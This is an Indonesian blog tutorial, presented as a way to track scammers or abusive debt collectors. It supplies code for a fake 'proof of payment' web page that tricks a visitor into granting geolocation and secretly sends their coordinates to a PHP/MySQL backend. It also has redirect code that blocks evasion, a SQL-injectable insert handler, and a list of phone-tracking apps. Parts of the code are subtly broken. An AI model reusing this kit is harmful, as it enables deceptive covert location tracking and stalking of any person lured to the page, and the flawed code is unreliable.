Cara Melacak Posisi Lokasi Telepon Penipu atau Penagih Utang Yang Ancam Sebar Foto
Maraknya penipuan atau penagih utang dengan mengancam sebar foto kesosial media juga menelepon ke teman-teman yang ada dikontak kadang membuat kesal sebagian orang. Tapi kali ini jangan kawatir saya akan berbagi tutorial bagaimana melacak posisi lokasi posisi orang tersebut yang menipu atau orang yang suka mengancam dengan menyebarkan foto ke sosmed dan melakukan scrapping data kontak telpon secara massal.
GPS Tracking?
Fitur ini salah satu service dari Google Play yang sangat handal bahkan banyak dipakai semua aplikasi Android dan iOS. Bahkan Gojek dan Grab menggunakannya untuk menemukan loksi penumpangnya.
Baca juga Melacak Chat WhatsApp Menggunakan Nomor Telpon Dengan Pemrograman Python
Artikel ini mungkin bisa menjadi bahan penulisan ilmiah buat yang jurusan teknik komputer atau sistem informasi atau temen-temen bisa konsultasi jika kusiltan melalui kontak. Selain itu melacak hp bisa juga dilakukan menggunakan nomor IMEI hp orang lain yang masih aktif.
Berikut ini langkah-langkah melacak posisi lokasi otororisasi hanphone:
Script Tracking Javascript
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content="Mark Otto, Jacob Thornton, and Bootstrap contributors"> <meta name="generator" content="Hugo 0.84.0"> <meta name="theme-color" content="#7952b3"> <title>Bukti bayar</title> <link href="https://getbootstrap.com/docs/5.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous"> <link rel="stylesheet" href="https://unpkg.com/[email protected]/dist/leaflet.css" integrity="sha256-p4NxAoJBhIIN+hmNHrzRCf9tD/miZyoHS5obTRR9BMY=" crossorigin=""/> <script src="assets/js/detecthp.js?v=947071232"></script> </head> <body> <section class="content pb-4"> <div class="container-fluid pt-3 pb-4"> <div class="row"> <div class="col-12"> <div class="text-center pb-4"> <div id="buktibayar"></div> </div> </div> </div> </div> </section> <script src="https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js" integrity="sha384-IQsoLXl5PILFhosVNubq5LC7Qb9DXgDA9i+tQ8Zj3iwWAwPtgFTxbJ8NT4GN1R8p" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js" integrity="sha384-cVKIPhGWiC2Al4u+LWgxfKTRIcfu0JTxR+EQDz/bgldoEyl4H0zUF0QKbrJ0EcQF" crossorigin="anonymous"></script> <script> const options = { enableHighAccuracy: true, desiredAccuracy:500, maximumAge: 10000, timeout: 5000, }; const successCallback = (position) => { let lat = position.coords.latitude; let long = position.coords.longitude; let accuracy = position.coords.accuracy; }; const errorCallback = (error) => { console.log(error); }; //initialize if(navigator.geolocation){ navigator.geolocation.getCurrentPosition( successCallback, errorCallback, options ); }else{ alert("Untuk akses bukti bayar silahkan konfirmasi/allow!"); } </script> </body> </html>
Kode Javascript Anti Skip (Required Android Only Allowed)
var verifikasi= { device:function(match){ if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|AppleWebKit/i.test(navigator.userAgent)==match) { window.location = BASE_URL_DETECTED; } }, browser:function(){ if(detectBrowser()!=="Chrome"){ window.location = BASE_URL_CHROME; } }, orientasi:function(){ //validasi rotate const portrait = window.matchMedia("(orientation: portrait)").matches; const landscape = window.matchMedia("(orientation: landscape)").matches; if(!portrait){ window.location = BASE_URL_POTRAIT; } } }
Kode JavaScript Store Data ke Server Side
//jquery parsing $.ajax({ url:'post.php', data:{lat:lat,long:long}, type:'post', dataType:'json', success:function(res){ $('.hasil').html(res); } }); //javascript fetch fetch("/post.php", { method: "POST", body: {lat:lat,long:long} }) .then(function(res){ return res.json(); }) .then(function(data){ $('.hasil').html(res); })
Kode PHP 8 Request Handling JSON ke Database
<?php $servername = "localhost"; $username = "username"; $password = "password"; $dbname = "tracking"; // koneksi db $conn = new mysqli($servername, $username, $password, $dbname); // Check connection if ($conn->connect_error) { die("Gagal ambil data"); } $lat = $_POST['lat']; $long = $_POST['long']; $date = date(); $sql = "INSERT INTO tracking(lat, long, tanggal) VALUES ("{$lat}", "{$long}", "{$date}")"; if ($conn->query($sql) === TRUE) { echo "silahkan download bukti bayar"; } else { echo "Gagal"; } $conn->close(); ?>
Skema Database Tracking
-- -- Table structure for table `tracking` -- CREATE TABLE `tracking` ( `id` int(11) NOT NULL, `lat` varchar(100) NOT NULL, `long` varchar(100) NOT NULL, `tanggal` datetime NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci COMMENT='tracking';
Melacak Lokasi Penipu Pakai Tools Online
- MyDevive
- AirDroid
- Scannero
- Spokeo
- MyGPS - GPS Phone Locator
- Geofinder.mobi
- Mobile Tracker Free